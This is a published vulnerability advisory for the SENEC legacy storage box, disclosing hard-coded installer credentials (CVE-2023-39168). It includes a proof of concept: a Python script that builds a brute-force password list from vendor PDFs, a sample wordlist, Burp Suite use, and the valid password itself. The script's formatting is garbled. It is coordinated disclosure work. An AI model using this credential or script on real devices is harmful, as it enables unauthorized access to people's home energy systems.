EnBw SENEC Legacy Storage Box Hardcoded Credentials

Advisory ID: Ph0s-2023-003
Product: EnBw - SENEC legacy storage box: V1-V3
Manufacturer: SENEC - a part of EnBw
Affected Version(s): Firmware: all (as of 2023-06-19)
Tested Version(s): current
Vulnerability Type: CWE-307: Improper Restriction of Excessive

                       Authentication Attempts  
                       CWE-798: Use of Hard-coded Credentials

Risk Level:

CVSS v3.1 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

Manufacturer Risk Level Rating:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:H/RL:U/RC:C
Overall CVSS Score: 8.6

Solution Status: Fixed
Manufacturer Notification: 2023-06-05
Public Disclosure: 2023-11-01
CVE Reference: CVE-2023-39168
Author of Advisory: Ph0s[4], R0ckE7

---

Overview:
Foreword:

This vulnerability was reported to the enbw-cert. we would like to
thank enbw-cert for taking care of the vulns and patch the systems.
we decided to publish when most of the reported vulns are patched
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.

About Senec:
We are SENEC

We have been the EnBW energy independence experts since 2018 – but we have
put our heart and soul into guiding customers on the route to independence
since SENEC was founded in 2009. Our passion lies in actively promoting the
energy transition with innovative ideas and pioneering products. And,

because we don’t do things by halves, our unwavering ambition is to create
integrated solutions that enable you to enjoy the highest possible degree
of independence and sustainability through self-generation of solar

electricity.

About SENEC Home:

SENEC.Home: The smart electricity storage device for your home

SENEC.Home is the heart of the your sustainable, affordable supply of solar
electricity. The smart battery storage device stores excess electricity

generated by your PV system so that you can use it when you need it – such as
when your household’s energy consumption rises in the evening, or on rainy days
when your PV system generates less power.

---

Vulnerability Details:

Based on the previously identified hard-coded username in CVE-2023-39167 and
CVE-2023-39168 all technical requirements were met to target the password.

Since the username installateur is quite straightforward in the sense of

guessable, it was decided to perform a dictonary-type brute force attack.

For this purpose, all related PDF documents were downloaded to create a password
list specifically tailored to SENEC.Inverter.

Source of the Documents: https://senec.com/au/company/downloads

---

Proof of Concept (PoC):

The attack consists of the following steps:

1. parse the documents :
   import argparse
   import glob
   import string
   import fitz

def get_senec_password(pdf_directory, pwd_prefix, pwd_suffix):
pdf_text = “”
for file in glob.glob(f"{pdf_directory}/*.pdf"):
pdf = fitz.open(file)
for page in pdf:
pdf_text += page.get_text()

pdf_words = set(  
    [word.strip(string.punctuation) for word in pdf_text.split() if word.strip(string.punctuation).isalnum()]  
)  
senec_password = set(  
    [f"{pwd_prefix}{word}{pwd_suffix}" for word in pdf_words if not word.isnumeric()]  
)

with open("senec-password.txt", mode="w", encoding="utf-8") as fd:  
    fd.write('\n'.join(senec_password))

if name == 'main':
parser = argparse.ArgumentParser(description="Generate SENEC.Inverter password dictionary")
parser.add_argument("-d", “–pdf-directory", type=str, action="store", default="pdf", required=False,
help="pdf storage location”)
parser.add_argument("-p", “–pwd-prefix", type=str, action="store", default="Senec", required=False,
help="password prefix”)
parser.add_argument("-s", “–pwd-suffix", type=str, action="store", default="", required=False,
help="password suffix”)
args = parser.parse_args()
get_senec_password(args.pdf_directory, args.pwd_prefix, args.pwd_suffix)

2. work with the output:
   The Python script extracts all words from all PDF documents and allows to add a prefix
   and/or suffix to generate passwords according to the pattern {prefix}{word}{suffix} ,
   such as the following:
   ***** cut *******
   Senecmoribundity
   SenecCleaning
   Senecdusts
   Senecclinical
   Senecaggregation
   Senecstubborn
   Senecstorages
   SenecDecommissioning
   SenecInstall
   Senecmany
   ***** cut ********

3. use the list within burpsuite
   The password lists were then used in Burp Suite Professional, a tool

specifically designed for web application security testing, to perform an

automated brute force attack.
The list shown above as an excerpt with the prefix Senec and no suffix was

finally successful in executing the attack.
It could be determined that the password “SenecInstall” is valid for all
SENEC.Inverter devices.

Solution:  
Patched by Manufacturer  
(Rolled out until September 11, 2023)

Disclosure Timeline:

2022-06-01: Vulnerability discovered
2023-06-05: Vulnerability reported to manufacturer
2023-09-11: Patch rollout by manufacturer to affected devices
2023-11-01: Public disclosure of vulnerability

---

Researcher:
Ph0s[4], R0ckE7

---

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.

Copyright:

Creative Commons - Attribution (by) - Version 4.0  
URL: https://creativecommons.org/licenses/by/4.0/deed.en